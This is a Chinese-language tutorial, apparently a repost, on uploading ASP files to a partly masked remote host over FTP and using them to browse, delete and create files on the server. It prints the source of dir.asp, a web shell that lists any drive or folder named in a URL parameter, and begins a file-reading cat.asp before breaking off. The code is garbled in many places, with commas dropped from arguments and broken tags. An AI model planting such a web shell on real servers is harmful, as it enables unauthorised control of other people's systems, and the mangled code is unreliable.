不过要让服务器执行你说写的ASP命令,首先要把你写的文件放到服务器的根目录下面才可以。我们假设实验的主机是202.192.*.*。首先要将文件传上主机,这点要靠自己的办法了,我是靠FTP来实现的,因为其FTP根目录和Web根目录都是主机上的同一个文件夹。我取得了FTP的完全权限。具体方法大家自己想咯。
首先将写好的文件上传至ftp://202.192.*.*,然后通过访_blank> http://202.192. *.*/dir.asp?pp=c:\ 你可以看到服务器硬盘分区C的根目录下所有目录和文件。改变"pp="后面的参数,就可以看到不同分区的信息。
接下来就是执_blank> http://202.192. *.*/manage.htm 了,这是一个整合了所有文件操作功能的ASP文件管理程序。具体使用大家看到程序就会明白的。这里不多说。
现在你就可以随心所欲的改变服务器的文件了,你想把哪个文件删除就删除,想建立就建立,因为这一切在IIS看来都是正当的要求,它没理由拒绝执行啊,^_^!
各文件源代码
dir.asp
<% @language="vbscript"%>
<%
spp=request.querystring("pp")
'physical path
sup=request.querystring("up")
'url path
mode=request.querystring("mode")
if spp & "" = "" then spp=getpp
if sup & "" = "" then sup=getup
result =dir(sppsup)
function dir(byval sppbyval sup)
if right(spp1) <> "\" then spp=spp&"\"
if right(sup1) <> "/" then sup=sup&"/"
response.write "<font size=4><b>Index of "&spp&"</b></font><br><hr>"
set fso=CreateObject("Scripting.filesystemobject")
set f=fso.getfolder(spp)
set fc=f.files
set ff=f.subfolders
response.write "<table cellpadding=2 cellspacing=2 border=0>"
if mode="drivers" then
set dc=fso.drives
for each d in dc
response.write "<tr><td width=15 valign=middle> </td>"
response.write "<td valign=middle><a href=dir.asp?pp="&d.DriveLette
r &":\>"&d.DriveLetter &":\</a>" &d.DriveType &"<br></td></tr>"
next
set dc=nothing
else
'set parent folder
if right(spp2)=":\" then
response.write "<a href="&chr(34)&"dir.asp?mode=drives"&chr(34)&"><b
>drive list</b></a><br><br>"
else
response.write "<tr><td width=15 valign=middle><img=src=/Article/UploadFiles/
200502/200521713515734.gif></
td>"
response.write "<td valign=middle><a href="&chr(34)&"dir.asp?pp="&f.
parentfolder&"up"&pardir(sup"/")&chr(34)&"><b>parent directory</b></><br><b
r></td></tr>"
end if
for each f in ff
response.write "<tr><te width=15 valign=middle><img src=/Article/UploadFiles/200502/200521713515734.gif></
td>"
response.write "<td valign=middle><a href="&chr(34)&"dir.asp?pp="&sp
p&f.name&"&up="&sup&f.name&chr(34)&">"&f.name&"\</a></td></tr>"
next
for each f in fc
response.write "<tr><td width=15 valign=middle><img src"&image(f
.name)&"></td>"
response.write "<td valign=middle><a href="&chr(34)&"cat.asp?fil
e="&app&f.name&chr(34)&">"&f.name&"</a><br></td></tr>"
next
end if
set ff=nothing
set fso=nothing
set f=nothing
set fc=nothing
end function
function pardir(byval sbyval slash)
pardir=""
if s & ""="" then exit function
s=left(slen(s)-1)
do while true
c=right(s1)
if c = ":" then exit do
if c <> slash then
if len(s) <=0 then exit do
s=left(slen(s)-1)
else
exit do
end if
loop
pardir=s
end function
function image(byval sname)
dim stype: stype=gettype(sname)
image=""
select case stype
case ".htm"
image=image &"sub_2.gif"
case ".html"
image=image &"sub_2.gif"
case ".bak"
image=image &"sub_2.gif"
case ".BAK"
image=image &"sub_2.gif"
case ".gif"
case ".GIF"
image=image &"sub_2.gif"
case ".jpg"
case ".JPG"
image=image &"sub_2.gif"
case ".jpeg"
case ".JPEG"
image=image &"sub_2.gif"
case ".bmp"
image=image &"sub_2.gif"
case ".BMP"
image=image &"sub_2.gif"
case ".txt"
image=image &"sub_2.gif"
case else
image=image &"sub_2.gif"
end select
end function
function getpp 'physical path
dim s
s=request.servervariables("path_translated")
do while true
if instr(s"\") then
if right(s1)="\" then exit do
s=left(slen(s)-1)
else
exit do
end if
loop
getup="http://"&s
end function
function gettype(byval s) 'get file type
do while true
if instr(s".") then
if left(s1)="." then exit do
s=right(slen(s)-1)
else
gettype=""
exit do
end if
loop
gettype=s
end function
%>
cat.asp
<%
response.contenttype="text/plain"
file=request.querystring("file")
if file="" then